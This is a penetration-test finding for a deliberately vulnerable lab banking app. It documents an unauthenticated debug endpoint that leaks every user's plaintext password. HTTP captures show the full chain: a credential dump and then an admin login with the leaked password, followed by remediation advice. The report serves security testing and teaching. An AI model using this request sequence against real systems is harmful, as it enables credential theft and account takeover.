Test case 13 / 26FAIL

Sensitive Data Exposure - Debug Endpoint - User Credentials

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

01 — Notes

Test notes

Vulnerability

[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

Description

The /debug/users endpoint is reachable without authentication and returns the entire users table, including the password column. Passwords are stored in plaintext rather than hashed, so they can be used immediately.

Impact

Confidentiality (High, leading to full compromise): anyone without credentials can download every customer's username, plaintext password, account number, and administrator flag. In testing, the administrator password obtained from this endpoint was used directly to log in as administrator. Because passwords are often reused, the impact extends beyond this application.

CWE

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP

A01:2021 - Broken Access Control

Scenario

Control: /dashboard without a token is rejected with HTTP 401, showing the application does have an authentication layer. Exploitation: /debug/users is accessed without any token -> HTTP 200 containing every credential. Impact: the leaked administrator password is used to log in and yields a token with is_admin true.

Endpoint

GET http://127.0.0.1:5001/debug/users

Affected feature

Debug endpoint left in the production build

Remediation

- Remove debug endpoints from code shipped to production; do not merely hide them. - Store passwords as salted hashes (bcrypt/argon2) and never return the password column from any query. - Apply authentication and authorization by default (deny by default) on all routes. - Rotate every credential that was exposed.

Proof of concept

1) (Screenshot 1) CONTROL: /dashboard without a token -> HTTP 401 Token is missing, authentication does exist. 2) (Screenshot 2) EXPLOITATION: /debug/users without authentication -> HTTP 200 containing every user with plaintext passwords. 3) (Screenshot 3) CIA IMPACT: the leaked administrator password is used to log in -> an administrator token is issued, is_admin true.
View source note (English)
Vulnerability:
[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

Description:
The /debug/users endpoint is reachable without authentication and returns the entire users table, including the password column. Passwords are stored in plaintext rather than hashed, so they can be used immediately.

Impact:
Confidentiality (High, leading to full compromise): anyone without credentials can download every customer's username, plaintext password, account number, and administrator flag. In testing, the administrator password obtained from this endpoint was used directly to log in as administrator. Because passwords are often reused, the impact extends beyond this application.

CWE:
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP:
A01:2021 - Broken Access Control

Scenario:
Control: /dashboard without a token is rejected with HTTP 401, showing the application does have an authentication layer. Exploitation: /debug/users is accessed without any token -> HTTP 200 containing every credential. Impact: the leaked administrator password is used to log in and yields a token with is_admin true.

Endpoint:
GET http://127.0.0.1:5001/debug/users

Affected Feature:
Debug endpoint left in the production build

Remediation:
- Remove debug endpoints from code shipped to production; do not merely hide them.
- Store passwords as salted hashes (bcrypt/argon2) and never return the password column from any query.
- Apply authentication and authorization by default (deny by default) on all routes.
- Rotate every credential that was exposed.

POC:
1) (Screenshot 1) CONTROL: /dashboard without a token -> HTTP 401 Token is missing, authentication does exist.
2) (Screenshot 2) EXPLOITATION: /debug/users without authentication -> HTTP 200 containing every user with plaintext passwords.
3) (Screenshot 3) CIA IMPACT: the leaked administrator password is used to log in -> an administrator token is issued, is_admin true.

02 — Screenshots

Screenshots (3)

01 / 1
02 / 2
03 / 3

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
GET /dashboard HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 401 UNAUTHORIZED
Content-Type: application/json
Content-Length: 34
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:18 GMT

{
  "error": "Token is missing"
}
CAPTURE 02 / 2
HTTP request
GET /debug/users HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 816
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:19 GMT

{
  "users": [
    {
      "account_number": "ADMIN001",
      "id": 1,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "admin"
    },
    {
      "account_number": "7503483798",
      "id": 4,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_normal_user"
    },
    {
      "account_number": "7658808238",
      "id": 5,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_evil_admin"
    },
    {
      "account_number": "9159912486",
      "id": 3,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_victim"
    },
    {
      "account_number": "0932191785",
      "id": 2,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_attacker"
    }
  ]
}
CAPTURE 03 / 3
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/json

{"username": "admin", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:20 GMT

{
  "accountNumber": "ADMIN001",
  "debug_info": {
    "account_number": "ADMIN001",
    "is_admin": true,
    "login_time": "2026-09-30 03:02:20.186000",
    "user_id": 1,
    "username": "admin"
  },
  "isAdmin": true,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}